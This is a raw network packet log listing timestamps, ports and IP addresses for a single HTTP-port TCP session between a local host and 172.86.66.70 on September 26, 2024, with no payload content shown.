Sep 26, 2024 12:11:58.734369040 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734399080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734406948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734422922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734431982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734455109 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734469891 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734483004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734508038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734571934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734591007 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734599113 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734615088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734649897 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734716892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734724998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734740973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.734776974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.734792948 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735419035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735496044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735551119 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735558987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735567093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735610008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735678911 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735693932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735702038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735711098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735727072 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735743999 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735759974 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735833883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735851049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735866070 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735873938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735889912 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.735892057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735915899 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.735927105 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.737826109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.737832069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.737880945 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.737883091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.737967014 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.737974882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.737989902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738023043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.738045931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738046885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.738054037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738097906 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.738792896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738799095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738815069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738850117 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.738862991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738874912 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.738913059 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.738997936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739006042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739021063 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739056110 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.739613056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739665985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739671946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739695072 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739701986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739722967 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.739741087 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.739761114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739768982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739784956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739789963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.739815950 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.739830971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.740705967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740714073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740729094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740767002 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.740772009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740780115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740794897 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740802050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740808964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.740829945 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.740849972 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.741503000 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741508961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741523981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741560936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.741571903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741585016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741588116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741595030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741624117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.741628885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.741672039 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.747612953 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820365906 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820375919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820420980 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820429087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820445061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820472002 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820533037 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820564032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820571899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820594072 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820622921 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820677042 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820755005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820763111 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820779085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820811987 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820837021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820844889 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820861101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820868015 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820883036 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.820890903 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.820920944 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821436882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821444988 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821453094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821461916 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821500063 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821518898 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821525097 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821536064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821582079 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821626902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821641922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821645975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821696043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821783066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821790934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821805954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821813107 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821820021 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821834087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821850061 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821850061 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821880102 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.821964025 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821979046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.821994066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822002888 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822016954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822022915 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822037935 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822067022 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822226048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822233915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822248936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822256088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822268009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822276115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822283983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822295904 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822312117 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822416067 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822423935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822438955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822446108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822453022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822474003 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822505951 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822585106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822592974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822617054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822624922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822638988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822642088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822670937 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822869062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822920084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822930098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822937012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822978973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.822982073 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.822988033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823033094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823070049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823077917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823091984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823126078 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823138952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823146105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823160887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823168039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823194027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823210001 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823230982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823236942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823280096 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823352098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823359966 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823375940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823381901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.823419094 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.823971033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824012041 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824018002 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824021101 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824064016 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824065924 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824074984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824090004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824120045 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824181080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824188948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824222088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824223995 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824230909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824275970 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824379921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824388027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824403048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824409962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824418068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824431896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.824433088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824448109 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.824474096 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.826550961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826608896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826616049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826628923 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.826657057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.826719999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826728106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826742887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826750040 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.826775074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.826791048 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.827560902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827568054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827575922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827583075 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827613115 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.827629089 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.827677011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827685118 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827693939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827702045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827718019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.827728033 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.827745914 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.828425884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828440905 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828449965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828470945 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.828505993 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.828506947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828516006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828522921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828538895 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.828552961 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.828588963 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.829319954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829369068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829377890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829438925 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829446077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829461098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829468012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829472065 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.829477072 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829494953 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.829511881 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.829931974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829938889 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.829988003 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.830020905 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830029011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830044031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830081940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.830086946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830096006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830102921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.830141068 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.830158949 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.850624084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.908926010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.908946991 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.908961058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909001112 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909060955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909069061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909084082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909101009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909118891 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909141064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909159899 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909169912 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909194946 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909276962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909285069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909300089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909307003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909331083 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909351110 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909364939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909372091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909388065 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.909418106 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909430981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.909953117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910012960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910020113 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910039902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910044909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910068989 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910094023 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910094976 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910103083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910171032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910181046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910243988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910283089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910290003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910305977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910312891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910330057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910336971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910355091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910434008 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910442114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910456896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.910487890 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910515070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.910564899 CEST	80	49732	172.86.66.70	192.168.2.4
